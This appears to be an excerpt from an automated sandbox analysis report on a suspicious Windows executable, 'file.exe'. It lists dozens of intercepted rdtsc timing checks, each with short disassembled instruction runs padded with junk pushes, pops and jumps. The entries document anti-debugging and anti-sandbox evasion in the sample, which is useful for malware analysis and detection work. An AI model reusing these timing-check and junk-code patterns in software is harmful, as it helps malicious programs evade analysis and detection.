Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690E41 second address: 690E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691144 second address: 69114E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F45A84F32F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69114E second address: 691169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F45A8838C81h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69175E second address: 69176E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 ja 00007F45A84F32FEh 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695A2D second address: 695A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A8838C81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695A42 second address: 695A48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695A48 second address: 695A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695A4E second address: 695A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A84F32FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695A5D second address: 695A90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F45A8838C86h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F45A8838C76h 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695A90 second address: 695AA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F45A84F32F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695AA0 second address: 695AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695AA4 second address: 695AA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2019 second address: 5F2047 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F45A8838C8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F45A8838C7Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A348F second address: 6A34BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A84F3305h 0x00000009 jc 00007F45A84F32F6h 0x0000000f popad 0x00000010 popad 0x00000011 jng 00007F45A84F3304h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A34BA second address: 6A34BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A375B second address: 6A3770 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F45A84F32FAh 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A38C4 second address: 6A38C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A38C8 second address: 6A38CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4155 second address: 6A4161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F45A8838C76h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A48D8 second address: 6A48DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4FFB second address: 6A4FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4FFF second address: 6A5009 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F45A84F32F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5009 second address: 6A501D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F45A8838C76h 0x0000000e jno 00007F45A8838C76h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A501D second address: 6A5023 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5023 second address: 6A5029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5029 second address: 6A5036 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push edx 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2E7A second address: 6A2E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F45A8838C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2E84 second address: 6A2E88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2E88 second address: 6A2E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jo 00007F45A8838C76h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AC1D1 second address: 6AC1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A84F3309h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AC1F0 second address: 6AC20E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A8838C86h 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABBF9 second address: 6ABBFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABBFD second address: 6ABC03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABC03 second address: 6ABC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABC09 second address: 6ABC42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F45A8838C76h 0x00000009 jmp 00007F45A8838C7Ah 0x0000000e jmp 00007F45A8838C7Dh 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push edi 0x00000017 ja 00007F45A8838C82h 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABDA3 second address: 6ABDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB296 second address: 6BB29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB3EC second address: 6BB40E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e jl 00007F45A84F32F6h 0x00000014 popad 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB40E second address: 6BB430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F45A8838C7Fh 0x0000000d js 00007F45A8838C76h 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB430 second address: 6BB436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB436 second address: 6BB43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB43C second address: 6BB440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD6D1 second address: 6BD6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD6D5 second address: 6BD6FC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F45A84F3309h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD6FC second address: 6BD702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD702 second address: 6BD737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A84F3306h 0x00000009 popad 0x0000000a jnc 00007F45A84F330Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9AD4 second address: 6C9AE3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 ja 00007F45A8838C76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA729 second address: 6DA732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA732 second address: 6DA742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 jc 00007F45A8838C8Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D92BC second address: 6D92C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9545 second address: 6D9551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F45A8838C78h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9551 second address: 6D955B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F45A84F32F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D955B second address: 6D955F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D955F second address: 6D9575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jc 00007F45A84F32F6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9A22 second address: 6D9A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9A26 second address: 6D9A3F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F45A84F32F6h 0x00000008 jmp 00007F45A84F32FFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA452 second address: 6DA45C instructions: 0x00000000 rdtsc 0x00000002 js 00007F45A8838C76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DDC20 second address: 6DDC4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F45A84F32FBh 0x0000000a popad 0x0000000b ja 00007F45A84F3316h 0x00000011 push edx 0x00000012 jmp 00007F45A84F32FEh 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECFC1 second address: 6ECFFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C88h 0x00000007 jmp 00007F45A8838C88h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECFFA second address: 6ED005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED005 second address: 6ED009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED009 second address: 6ED00F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBD92 second address: 6FBD9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBD9A second address: 6FBDB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jnc 00007F45A84F32F8h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBDB0 second address: 6FBDBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7002BA second address: 7002D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F45A84F32FBh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jno 00007F45A84F32F6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7002D8 second address: 7002E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A3C3 second address: 71A3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 je 00007F45A84F32F6h 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A520 second address: 71A52B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A52B second address: 71A52F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A52F second address: 71A553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F45A8838C76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F45A8838C84h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A553 second address: 71A557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A557 second address: 71A575 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71AEEF second address: 71AEFA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007F45A84F32F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71F5E8 second address: 71F5EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71F5EC second address: 71F5F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0F16 second address: 4DB0F61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 4847h 0x00000007 push esi 0x00000008 pop edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F45A8838C84h 0x00000014 add cl, 00000028h 0x00000017 jmp 00007F45A8838C7Bh 0x0000001c popfd 0x0000001d mov ecx, 0BD5031Fh 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F45A8838C80h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0F61 second address: 4DB0F67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0F67 second address: 4DB0F6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0F6B second address: 4DB0F8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F45A84F3304h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0E19 second address: 4DA0E4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dl, 98h 0x0000000d movzx ecx, dx 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F45A8838C7Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0E4F second address: 4DA0E77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F45A84F3306h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0032 second address: 4DF0038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0038 second address: 4DF003C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF003C second address: 4DF0040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0040 second address: 4DF0094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov bx, ax 0x0000000d mov bh, ah 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F45A84F3301h 0x00000018 jmp 00007F45A84F32FBh 0x0000001d popfd 0x0000001e mov ax, 09FFh 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 jmp 00007F45A84F3307h 0x0000002d push esi 0x0000002e pop edi 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0094 second address: 4DF00A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A8838C80h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800CB second address: 4D800CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800CF second address: 4D800D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800D5 second address: 4D800EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A84F3303h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800EC second address: 4D80145 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F45A8838C83h 0x00000015 sbb eax, 6B29DBEEh 0x0000001b jmp 00007F45A8838C89h 0x00000020 popfd 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80145 second address: 4D8014A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8014A second address: 4D801C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F45A8838C84h 0x00000012 jmp 00007F45A8838C85h 0x00000017 popfd 0x00000018 pushad 0x00000019 mov ecx, 5129BA0Dh 0x0000001e jmp 00007F45A8838C7Ah 0x00000023 popad 0x00000024 popad 0x00000025 push dword ptr [ebp+04h] 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F45A8838C87h 0x0000002f rdtsc
